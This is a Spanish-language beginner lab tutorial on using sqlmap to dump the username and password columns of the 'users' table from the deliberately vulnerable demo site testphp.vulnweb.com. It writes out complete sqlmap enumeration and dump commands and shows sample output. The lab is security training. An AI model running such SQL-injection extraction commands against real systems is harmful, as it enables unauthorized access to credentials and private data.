Volcar datos de columnas de tablas específicas con sqlmap

Kali LinuxBeginner
Practicar Ahora

Introducción

En este laboratorio, aprenderá a utilizar sqlmap, una herramienta de pruebas de penetración de código abierto, para automatizar el proceso de detección y explotación de fallos de inyección SQL y la toma de control de servidores de bases de datos. Específicamente, nos centraremos en cómo volcar datos de columnas específicas dentro de una tabla conocida. Esta es una tarea común en las pruebas de penetración y auditorías de seguridad, ya que le permite extraer solo la información relevante que necesita, en lugar de volcar una tabla completa. Practicará la identificación de la base de datos, tabla y columnas objetivo, y luego utilizará la bandera -C de sqlmap para especificar las columnas deseadas para la extracción de datos.

Identificar la Base de Datos, Tabla y Columnas Objetivo

En este paso, aprenderá a identificar la base de datos, tabla y columnas específicas de las que desea volcar datos. Antes de poder volcar datos, necesita saber qué está buscando. En un escenario del mundo real, esta información se recopilaría típicamente a través de pasos de enumeración previos utilizando sqlmap (por ejemplo, listar bases de datos, tablas y columnas). Para este laboratorio, asumiremos que ya ha identificado lo siguiente:

  • URL de destino: http://testphp.vulnweb.com/listproducts.php?cat=1 (una URL vulnerable conocida para fines de demostración)
  • Base de datos: acuart
  • Tabla: users
  • Columnas de interés: uname (nombre de usuario) y pass (contraseña)

Estos detalles son cruciales para construir el comando sqlmap preciso para extraer solo los datos que necesita.

Para simular la enumeración inicial, podría haber ejecutado comandos como estos (no es necesario ejecutarlos en este laboratorio, ya que proporcionamos los detalles del objetivo):

Para listar bases de datos:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs

Para listar tablas en la base de datos acuart:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables

Para listar columnas en la tabla users dentro de la base de datos acuart:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns

Para este laboratorio, procederemos directamente a volcar columnas específicas, asumiendo que la enumeración anterior se ha completado.

Utilizar la bandera -C para especificar las columnas a volcar

En este paso, aprenderá a utilizar la bandera -C en sqlmap para especificar qué columnas desea volcar. Esta bandera es esencial para la extracción de datos dirigida, permitiéndole recuperar solo la información relevante y evitar datos innecesarios.

La sintaxis para usar la bandera -C es sencilla: proporciona una lista de nombres de columnas separados por comas inmediatamente después de la bandera.

Para nuestro ejemplo, queremos volcar las columnas uname (nombre de usuario) y pass (contraseña) de la tabla users dentro de la base de datos acuart.

El comando sqlmap parcial que incorpora la bandera -C se vería así:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass"

Analicemos los componentes de este comando:

  • -u "http://testphp.vulnweb.com/listproducts.php?cat=1": Especifica la URL de destino que es vulnerable a la inyección SQL.
  • -D acuart: Especifica el nombre de la base de datos (acuart) de la que extraer datos.
  • -T users: Especifica el nombre de la tabla (users) dentro de la base de datos acuart.
  • -C "uname,pass": Esta es la parte crucial. Le indica a sqlmap que solo considere las columnas uname y pass para el volcado de datos.

Este fragmento de comando aún no está completo para volcar datos, pero demuestra cómo especificar correctamente las columnas deseadas. En el siguiente paso, agregaremos la bandera --dump para iniciar la extracción de datos real.

Utilizar la bandera --dump para iniciar el volcado de datos

En este paso, aprenderá sobre la bandera --dump, que se utiliza para iniciar el proceso real de extracción de datos con sqlmap. Mientras que la bandera -C especifica qué columnas volcar, la bandera --dump le dice a sqlmap que realice la operación de volcado de datos.

Cuando se combina con la URL de destino, la base de datos, la tabla y las especificaciones de columna, la bandera --dump instruye a sqlmap a recuperar los datos de las columnas especificadas y guardarlos.

El comando sqlmap completo para volcar las columnas uname y pass de la tabla users en la base de datos acuart sería:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass" --dump

Revisemos el comando completo:

  • -u "http://testphp.vulnweb.com/listproducts.php?cat=1": La URL de destino.
  • -D acuart: El nombre de la base de datos.
  • -T users: El nombre de la tabla.
  • -C "uname,pass": Las columnas específicas a volcar.
  • --dump: La acción a realizar: volcar los datos.

Este comando instruirá a sqlmap a encontrar vulnerabilidades de inyección SQL en la URL dada y, si tiene éxito, extraer los datos de las columnas uname y pass de la tabla users dentro de la base de datos acuart. Los datos extraídos generalmente se guardarán en un archivo CSV dentro del directorio de salida de sqlmap.

Ejecutar el comando de volcado de datos

En este paso, ejecutará el comando completo de sqlmap para volcar datos de las columnas especificadas. Esto simulará un escenario de extracción de datos del mundo real.

Abra su terminal en el directorio ~/project y ejecute el siguiente comando:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass" --dump

Salida esperada:

sqlmap primero realizará varias pruebas para detectar vulnerabilidades de inyección SQL. Si tiene éxito, procederá a volcar los datos. Verá una salida similar a esta (la salida exacta puede variar según la versión de sqlmap y la respuesta del objetivo):

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |_  |
            |_| |_| |_|   3.7#dev (r19000)

[!] aviso legal: El uso de sqlmap para atacar objetivos sin consentimiento mutuo previo es ilegal. Usted es responsable de sus propias acciones.
[!] sqlmap es una herramienta solo para profesionales de pruebas de penetración.

[INFO] iniciando @ XXXX-XX-XX XX:XX:XX /YYYY-MM-DD HH:MM:SS/

... (varios mensajes de detección y explotación) ...

[INFO] obteniendo columnas 'uname,pass' para la tabla 'users' en la base de datos 'acuart'
[INFO] se recuperaron 10 entradas
Database: acuart
Table: users
+----------+----------+
| uname    | pass     |
+----------+----------+
| test     | test     |
| admin    | admin    |
| john     | doe      |
| ...      | ...      |
+----------+----------+

[INFO] tabla 'acuart.users' volcada al archivo CSV '/home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'
[INFO] finalizado @ XXXX-XX-XX XX:XX:XX /YYYY-MM-DD HH:MM:SS/

Preste mucha atención a la línea que indica dónde se han volcado los datos (por ejemplo, table 'acuart.users' dumped to CSV file '/home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'). Esta ruta es importante para el siguiente paso.

Nota: sqlmap podría hacerle algunas preguntas durante el proceso (por ejemplo, sobre continuar con otras pruebas, o si desea almacenar sesiones). Para este laboratorio, generalmente puede presionar Enter para aceptar el valor predeterminado o n si le pregunta si desea omitir pruebas extensas.

Localizar y revisar los datos volcados en el archivo de salida CSV

En este paso final, localizará el archivo CSV donde sqlmap guardó los datos volcados y revisará su contenido. sqlmap organiza su salida en un directorio estructurado, típicamente bajo ~/.local/share/sqlmap/output/.

Basándose en la salida del paso anterior, navegue al directorio donde se guardó el archivo users.csv. La ruta será similar a /home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/.

Primero, naveguemos al directorio de salida de sqlmap. La ruta exacta puede variar ligeramente según su versión de sqlmap y el objetivo, pero generalmente sigue el patrón: ~/.local/share/sqlmap/output/<dominio_objetivo>/dump/<nombre_base_de_datos>/.

Para nuestro ejemplo, la ruta probablemente sea /home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/.

Utilice el comando ls para listar el contenido de este directorio:

ls -l ~/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/

Debería ver users.csv (y posiblemente otros archivos) listados.

Ahora, utilice el comando cat para ver el contenido del archivo users.csv:

cat ~/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv

Salida esperada:

La salida mostrará las columnas uname y pass, con cada fila representando una entrada de la tabla users.

uname,pass
test,test
admin,admin
john,doe
...

Esto confirma que sqlmap extrajo con éxito solo las columnas especificadas, demostrando la efectividad de la bandera -C para el volcado de datos dirigido.

Resumen

En este laboratorio, ha aprendido con éxito a volcar datos de columnas de tablas específicas utilizando sqlmap. Comenzó comprendiendo la importancia de identificar la base de datos, tabla y columnas objetivo. Luego, practicó la construcción de comandos de sqlmap utilizando la bandera -C para especificar las columnas deseadas y la bandera --dump para iniciar la extracción de datos. Finalmente, ejecutó el comando y verificó los datos volcados en el archivo de salida CSV generado. Este enfoque dirigido es crucial para la recuperación de datos eficiente y precisa durante las pruebas de penetración y las evaluaciones de seguridad.